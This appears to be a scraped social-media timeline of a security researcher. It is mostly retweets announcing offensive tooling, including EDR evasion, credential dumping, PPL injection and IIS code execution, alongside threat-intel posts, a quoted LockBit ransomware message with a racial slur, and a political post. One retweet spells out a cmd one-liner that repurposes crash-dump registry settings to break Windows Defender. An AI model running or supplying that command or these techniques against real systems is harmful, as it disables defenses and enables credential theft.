Chief Security Officer (CSO) || Security Researcher at https://xitter.cf/t.co/YsorB5YEAu || Penetration Tester || Red Teamer || Social Engineering Awareness Trainer

Joined September 2024
Two Seven One Three retweeted
I am releasing a new toolkit I built for IIS-based lateral movement and code execution within IIS worker pool process's memory. Phantom ASPX Loader & PhantomLink -- a two-part toolkit for reflectively loading native DLLs into IIS w3wp.exe worker processes via ASPX. github.com/zux0x3a/Phantom/t…
4
78
247
16,988
Two Seven One Three retweeted
Recently my RE workflow moved into sandboxed VMs where agents have full control over the environment. I needed an MCP server that runs headless in the same sandbox and exposes way more of the #BinaryNinja API than others. Here's the release: github.com/mrphrazer/binary-…
3
50
2
267
37,414
Two Seven One Three retweeted
Using the Don't Look Up Tool to Eavesdrop on Insecure Private Satellite Communications rtl-sdr.com/using-the-dont-l…
4
116
1
685
42,957
Two Seven One Three retweeted
🛡️🔗 EDR-Redir: Breaking EDR with BindLink & Cloud Filter and how I detect it for MDE A new technique dubbed EDR-Redir from Zero Salarium shows how attackers can hijack or disable EDRs like Defender, Elastic, and Sophos by abusing Windows 11’s Bind Filter and Cloud Filter drivers. I’ve authored a Defender XDR detection to help defenders monitor for this stealthy evasion vector for MDE. zerosalarium.com/2025/10/DR-… #Cybersecurity #EDRRedir #DefenderXDR #ThreatDetection
38
111
9,452
Two Seven One Three retweeted
Credential Guard was supposed to end credential dumping. It didn't. @bytewreck just dropped a new blog post detailing techniques for extracting credentials on fully patched Windows 11 & Server 2025 with modern protections enabled. Read for more ⤵️ ghst.ly/4qtl2rm
11
334
20
729
137,820
Two Seven One Three retweeted
So verifier.dll exposes a function called VerifierDestroyRpcPageHeap() which has this opcode RIGHT AT THE BEGINNING of the function - which we can use to fetch the PEB without calling something like __readgsqword(0x60) directly. PoC: github.com/whokilleddb/funct…
9
82
3
541
65,026
Two Seven One Three retweeted
Did you know you can run certutil to decode Windows HRESULT/NTSTATUS error values? certutil -error
41
164
5
1,701
90,213
Two Seven One Three retweeted
We have uncovered a Windows .lnk shortcut bug (#ZDI-CAN-25373) being exploited by #APT groups and cybercriminals worldwide. This bug in Windows  .lnk files allows attackers to execute hidden malicious commands that aren't visible when viewing shortcut properties. More details 🧵
19
126
7
716
83,585
Two Seven One Three retweeted
Today, I'm releasing the first version of a small web 🚀: rosti.bin.re/ It provides IOCs and YARA rules collected semi-automatically from public blog posts and reports of almost 200 cybersecurity sites. I hope it proves useful to some of you ... 🙏✨ #ThreatIntel
16
123
4
367
32,662
Two Seven One Three retweeted
🚀 New Blog & PoC: Abusing IDispatch for COM Object Access & PPL Injection Leveraging STDFONT via IDispatch to inject into PPL processes & access LSASS. Inspired by James Forshaw's research! 🔍 Blog: mohamed-fakroud.gitbook.io/r… 💻 Code: github.com/T3nb3w/ComDotNetE…
7
164
2
422
52,448
Two Seven One Three retweeted
Today Lockbit ransomware group issued a message to Kash Patel, the new Director of the United States Federal Bureau of Investigation. He requested Kash Patel contact him via Tox and offered him a file titled "personal_gift_for_new_director_FBI_Kash_Patel.7z". The file is password protected. We don't know what is inside the file. Here is the message Lockbit passed along via their Lockbit website. "Dear Kash Patel! I wish you Happy Birthday! I also congratulate you on your position as the ninth director of the Federal Bureau of Investigation and wish you professional success, because it will be not easy for you. You are surrounded by liars, professional manipulators, respected Kash Patel. The so-called “agents” who are under your supervision are tricky manipulators and the whole point of their manipulation is to do nothing, but you have to do something about it, Mr. Kash Patel. I have been called “extortionist” and “blackmailer” a lot, but I am a worthy son of the American Fatherland, a son of immigrants like you, dear Kash Patel! God bless our Motherland! My whole life, like your life is filled with concern for National Security. My business, from which I have paid so much tax, post-paid pentest, I created only to make us all, in our United States of America, a more secure place to live. A safer, more secure place from the Real Threat — trans-continental pro-state group that attacks critical infrastructure to steal our data for Espionage and Diversion. But these very real extortionists, liars, blackmailers, manipulators, known to you as subordinates — FBI agents, have flooded our country with fakes and declared me as a threat. I am an honest businessman who paid so much tax to Our American Treasury and never did a Tax Refund, letting the black folks do it for me. I decided to give you the best gift of all — an archive of classified information for you personally, Mr. Kash Patel. A guide, a roadmap, and some friendly advice. With access level ONLY for you, under password. This information is for the benefit of the National Security of the United States of America, information for you on how to find the TRUTH, which our brother US President Donald Trump also wants to find. This information is the key against LIES, the cure against FAKES. Please contact me personally, I am so reluctant to publish this information that could not only negatively affect the reputation of the FBI, but destroy it as a STRUCTURE. Because I really want you to be, Honorable Kash Patel, not only the Director of the FBI, but also the Director of the FBI History Museum. To have you tell our STORY — how we defeated the fakes and corrupt FBI agents."
51
151
35
1,504
122,170
Two Seven One Three retweeted
Is your EDR a dump? Yes it is! cmd /v/c "set R=reg add HKLM\SYSTEM\CurrentControlSet\Control\CrashControl /f /v&!R! CrashDumpEnabled /d 7 /t 4&!R! DumpFileSize /d 666 /t 4&for /f "delims=*" %i in ('sc qc WinDefend^|find "PATH_"')do (set t=%i&!R! DedicatedDumpFile /d !t:~29,-1!)"
8
178
4
735
58,504
Two Seven One Three retweeted
Look at these dorks arguing over Rust and C compilation size
This Post is from a suspended account. Learn more
62
64
3
2,423
178,732
Two Seven One Three retweeted
🚨BREAKING: Trump Has Signed An Executive Order To Declassify The JFK, RFK, and MLK Jr. Files And Requested The Pen He Used Be Given To RFK Jr. WATCH LIVE: xitter.cf/i/broadcasts/1YpKkllln…
10,604
50,253
3,427
415,075
65,736,447